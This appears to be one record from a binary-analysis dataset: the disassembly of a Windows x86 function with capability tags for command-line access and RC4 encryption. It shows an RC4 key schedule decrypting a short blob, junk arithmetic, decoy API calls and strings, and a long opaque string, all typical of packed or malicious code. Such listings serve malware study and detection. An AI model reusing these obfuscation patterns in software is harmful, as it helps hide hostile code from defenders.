Function at 0x65688ff0
Capabilities:
Accept command line arguments
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ecx, 0xb
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x14a]
mov esi, 0x656ad0f5
push ebx
sub esp, 0x16c
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x134]
mov esi, str.Kernel_MUI_Language_Allowed
mov ecx, 7
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor eax, eax
mov byte [ebp + eax - 0x118], al
inc eax
cmp eax, 0x100
jne 0x65689028
xor edi, edi
xor ecx, ecx
mov esi, 0x1b
mov eax, ecx
xor edx, edx
mov bl, byte [ebp + ecx - 0x118]
div esi
movzx eax, byte [ebp + edx - 0x134]
movzx edx, bl
add eax, edx
add eax, edi
movzx edi, al
mov al, byte [ebp + edi - 0x118]
mov byte [ebp + ecx - 0x118], al
inc ecx
mov byte [ebp + edi - 0x118], bl
cmp ecx, 0x100
jne 0x65689040
mov eax, dword [0x656a8e48]
xor edx, edx
xor edi, edi
xor esi, esi
xor eax, 0x6978ca9e
mov dword [0x656a8eac], eax
lea eax, [esi + 1]
movzx esi, al
mov bl, byte [ebp + esi - 0x118]
lea eax, [ebx + edi]
movzx edi, al
mov eax, dword [0x656a8eac]
mov ecx, eax
or eax, 0xbeded7ed
mov dword [0x656a8eac], eax
or ecx, 0x2e5e41cd
mov al, byte [ebp + edi - 0x118]
add ecx, 0x2dd9f846
mov byte [ebp + esi - 0x118], al
xor eax, eax
mov dword [0x656a8e48], ecx
mov byte [ebp + edi - 0x118], bl
cmp word [eax + str.The_number_of_maximum_ticket_referrals_has_been_exceeded.], 0
je 0x65689113
add eax, 2
cmp eax, 0x2cd2
jne 0x656890df
mov dword [ebp - 0x15c], edx
call fcn.65693704
mov eax, dword [0x656a8eac]
mov edx, dword [ebp - 0x15c]
or eax, 0x53b38e6c
mov dword [0x656a8e48], eax
mov dword [ebp - 0x160], edx
or dword [0x656a8eac], 0x545d3b87
mov dword [esp], 0x1d28
call dword [sym.imp.USER32.dll_IsZoomed]
push eax
mov eax, dword [0x656a8e48]
xor eax, 0xb3b81b01
mov dword [0x656a8eac], eax
call fcn.65692978
mov ecx, dword [0x656a8eac]
add bl, byte [ebp + esi - 0x118]
movzx ebx, bl
or ecx, 0x84811374
mov bl, byte [ebp + ebx - 0x118]
mov dword [ebp - 0x15c], ecx
mov dword [esp + 4], str.The_provider_context_does_not_exist.
mov dword [esp], str.SegmentReserve
call fcn.65692fc4
mov ecx, dword [ebp - 0x15c]
lea eax, [ecx + 0x601c4390]
add ecx, 0x75e4b33c
mov dword [0x656a8e48], eax
mov dword [0x656a8eac], ecx
call fcn.65693704
mov edx, dword [ebp - 0x160]
xor bl, byte [ebp + edx - 0x14a]
mov byte [ebp + edx - 0x13f], bl
inc edx
cmp edx, 0xb
jne 0x65689092
imul eax, dword [0x656a8eac], 0x1f116409
mov dword [0x656a8eac], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov eax, dword [0x656a8eac]
mov edx, eax
xor eax, 0xfdc3254a
xor edx, 0x58f172bc
mov dword [0x656a8e48], eax
mov dword [0x656a8eac], edx
mov dword [esp + 4], eax
mov dword [esp], edx
mov dword [esp + 8], str.The_size_of_the_buffer_is_invalid_for_the_specified_operation.
call fcn.65691b18
lea ecx, [ebp - 0x13f]
mov byte [ebp - 0x134], 0
mov dword [esp + 0xc], 0xb
mov dword [esp + 8], ecx
mov dword [esp + 4], 0x11d0
mov dword [esp], str.393di466skZZtXdq9mBWJL4AMKOh1BFkieEXFRQ0YHp0oRpNTdUBuDxIsWz_0dm8XHyVAocqumxZ6Koyn62qMWFnL16FSuzMGqnQZPTSuGJpQwbZHLSRxu3vcaKlmGCEgsqQK1ifODpKo8tWJMDu_XKlijjdbDQuQ2Zz8uVGuO0yZkg73I7L945KGouDq0bpK53719IuJGM0gj3PcpQXhOpOn0Zj16wS9AA2HpjPUTS0t88aZMylH6zu6L51epU7zEoRyPx8VE9ZgGpvKrVXbS29Ljo8W6J3mTTNbrTyiiFesOCwUx8B1o7dt9WMC49qdwhkfWT0_TSgdcQBD0LvqtlmA8qLeBzE4vMASI0N1vnzTt1yHjJyw2WS7hosQsJDpJm50qmB7uf1gmMBCAoX__mOGuR1swExhz_ZiEJhTM1iXWXXTwcS7mi9p85ypKX96QLNQePqMAdj_NCOm2fvULar4_SO9VlWBCowsxr6i_YBjGFrIkleYTLR3MgQxKlQndTgD2E4YFCaFr0Uz9PWKQLflpci6W_2wTsC3WdIxNesxykvuPQBEDk0iewPaDcgXX9req5JGHTBPHkRm9A5rrf0IOQ2kOfVaVNDnm3Q8erKUYA5PT_MGvrC1MHK2mLIhjfXeUSzSeJcnUFKOPZ1ps2Jf5CQAhAKfbZQKFISbRMloNzHwqWJkdMQsI14jrZzj14uM9V2dCVbPaJIXHMXBrWbSgXA3XxjNxEUd3qcU0xPcc8EYwBJbk8p_0JcYlWi8GZV4q4nPH7EQBB9O0GQknWLP5RL_1ikxKi0t_hK5kziGpHRBnuek65DWAGlDr4kzj3z23nlQ6KXxsFGhvvdJMcvL64pia_DvJP_fbDoYSSRi_nrZj0dT82BfD_MCgZPEy7HaBaXZifC44xsw7ftsx49CTa5jyafpY_KhVYEMYNn4IvHXAR9EED16wCaW1ipB0PhpK1jLHk9gazWC9tPXyaLxPmUxAIBVghcF_Mon5X3cS6Zc9atvfKuXTthxNVvmrshq34qqSV70xWoNrRG6XPZgWxE1zXn74WAose48CIUzDCwfkIyDy80xt8C92uhOfCMhyL5gQNREcHzUesLtOrm8y8dvO9AKE9gKFvhjSbYQ_79HeqkGIjGo2RRoHFj7givYHYNqCXQrWNvbFsJcgqzv9T21WLqzQgV8dMKgIxIPyu_LJGnHATDOr0ncv3b6MXK7aOdw_gb8zQxlhGq1bKObnJQAUxTKWlhBLPCDQz8mDx5iMZ0TPuxxePhf4OI8YZBv2eCgRWeOYZ4TZEZPUb7NR_DNdyPCQrGxo5k137MoaWS2eutWhiNEAtzOTGGGHHKhMWh88S4_yG8hbs7pDX0mqcthUVaTPUBp_x1cEtAqZkJLHTPWnFF6G6RkXzIqY6AUNLn14eFmEPAv0q_XjVHFAa2W7ll8q8d9o79hZ55FnDX0LzoSMfh7TpVvuRFPgZuSXedeBYhWlMX4z4gLTsDfjcjY4id1jyhMoac98mvOIajTMknwsyPurteJhAA5cQ4KnjmrRYX3KkH5da9MZ8PgfjKbfqJiKlEkOf0Nq5qtxLzcGkmdlTkwKYKh2pkRVyxycqDE65mExbSdXoSSUQLHzdMSpolggMLCVa9vokgdX4DX4HYSomZwKL1HHKtNN729O6DucEs1OhV_SP6uZjjymbm2gAKdX5RESL3KFUNtKlPAgJFcOe5al3FAAmQ5JeWgqJ6jxdPCfr6e_eTyCez8mVBOpdLbOxcu_NUL1T5AQ7gas2hgsV83fLmCGiT3USCFqdNSOg45RV7_yl5C4OciLgxd1Ek3deNi85kh_bm7wJD6A8j97TkVyZTjIZQZdLlwO2Kd5LCuFgOne9eLhH3DlFgs50lONEJcyzzbR3A7niz0jK_rZAsiji5m7slBEW1XzEMnRvZTc1WLQBrgOJOmCTRp7_s6zA465g0E8hdN5zRffgd76A2euZ6Ies9JJaQ5PF2Px5nLgFDGGj5tTeUgRgK3GzQQhXpUR_Qey_Bne89ZsqMBtHZUUC1UXTnVOOaiGEK6Buzrh9F9XAxKFpbAMo1f7RXVQobdZqgY5t2558ZqPd3az9FxRqTu9pKpTI0aO_Oup2xjB14tCO6cJFNDQejcSeTTncIuyflQzxWuOu8SzXJ0DCCzIVggVbHdAcehhL27aeBwsP_pxKd_cS3rtO2Zj8WVKE2MNlDczqQNAMqHBiecsGwVWh85_JyBFYrmpiHor01TEztajmVvY03HSMP7XkHg4BcE4PO7fjUGZkZzjkloEP9JusYS_54jWlw2BreF0X2Mz5QoaMMBR75aCu3najFxeB9HzaZAeSK_8Gyi8iyOMc1yGxkFvhHvBK8z_iAMgOV6J6IRQZHQPKeL6gktit9m9F9MfyqOCQs1WINAbU7GnqOdAQ2Z9FbCjAVAwsUHLStGRHnSZKkWhfT6VF3ClcTnQTb5l49Tl9YDa669sZqFomE2JjIUGd_VtdXF0OtT1HgPBX7wIsMUbwgLna29efuvHRRhLbotbehwWWzPl_u5mPsnqlMxQ5twr1RO4wv4iidvRPhVA6umx48ej8vfxW8iSVuA7t_L4JTO2ZhdJQndze8pl7QtfgHBZ9dI8hw8lJVulcmHAiLzzdye8emi2YISobsX89NsEbsebxIpzQmBkjrNuDSSxKSn3sjFUotUJ1WKmiJhEZQBh2aJ4Lfh1fZkOi8KHXBQw6XCZBciFkPg8P4YX60xn1kbkM2tmRPU0Yr3hGymvjUBWOi2_sKPSXzlmSWpUe6H9gOyPylPeiR4MjC0okUZlCpdMFtVQTtaDcvtFq21g_kM4efh_vLXcGp8QyRSCXJ97KjQ4haYucxjraE0rmAUwo2kVQw5rORWeMGuaTtgz7XpEc1OX_ZsqCBWfYt7LE1M9EBLr0z1isncN_TAUr0TAr9Jss3S7bO8STEw_HnFBTbkGSqHyO9f9iskrsrd0FoO6VxmhfSQ5ufkI_6skWhmOqFYBrYEzuTbDJBqh0dxCNRx_bq_03w18neHfuJXE12g2fJM6_RhO59s0zuu8TVsc7966361qOchy2UONMPpoVe2q4dya5OKeKmKQcEMaKV0ZRNdfwxcbKBxq7rdyEOYaippbuJsVMJ43Sas1gTNuftZfKkEf52_l9JjKLzxiXGFJSv8OgjUE6rQTtXMHSp7Z0eXlyYDx0SDCHBZPY19UdMtjMak19Wp_DrjRFmC24dTHlSL5ddhzlIXE3KpqWXAZH53eNIzrn4MfUpF1AdlwDZo_h1yrt0sF2AoRP6H4KZalr_fzG8VqCO7uZHXq6mpKBT4du8NyIhMFiFnQJFoz1VZITJudrgACxRAGv56UlIO8ppKPLz_mnJB4p2wG34VIi7X4HjmWerXAqnZcvXlS6nYTdJiEKMDafjj3BzMWFaL0EGocMqmFRTkJ_n6gjAYPsylIm9_YF7nZZgLLYiA7dE2tT9qAs19iuIgKziEzb8V3ajox6VXxkq1d5dyYlvzXYh9E5xfC2H2WRUv6Ju4uy6tXniRsE446EkHipyPAU8syfGwd_0ISaUCtf0PAyoXoVtlZvApcnfbhhMHb65ez1KFFUo0_z_RPVZQwC5KBr2qfGH7Mi9lID3vei38zzeLDlhc75PAY5La5RAM1CAx17yX0imAl4v_Ho2nE72F1ty2qfxumnX3H9MeRCIZKUugsve5C_XVHl8Fyuq80HoYyGnDWNmcoe8B1rVLFr6qiuLWYbqwhEdPc3KuiqDHdc_eJQ8JI2aWhI5ZbnLTfS4yMjcRKRm2nGo5UoDsWsSCEdFvoPi2H7j7YmW65xObp76j1m2hTt2BpjuJd1ITpaMkXwZ2XDltdXL4ackZohp2jBfLebPmb96Fx8T4aGaNb1hoeOlu1KDoVdMGvktnWkIjxGWeHSdSIDiyTbzwMrcuB6quZ9lLQafXviq_pOjosrHl78_gxxjtL9RJmCa9Tp_JMetodT4QJ5MRfiPPea8Mg8USUWawii7NfCdohQhRGjHyt
call fcn.6568bff8
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret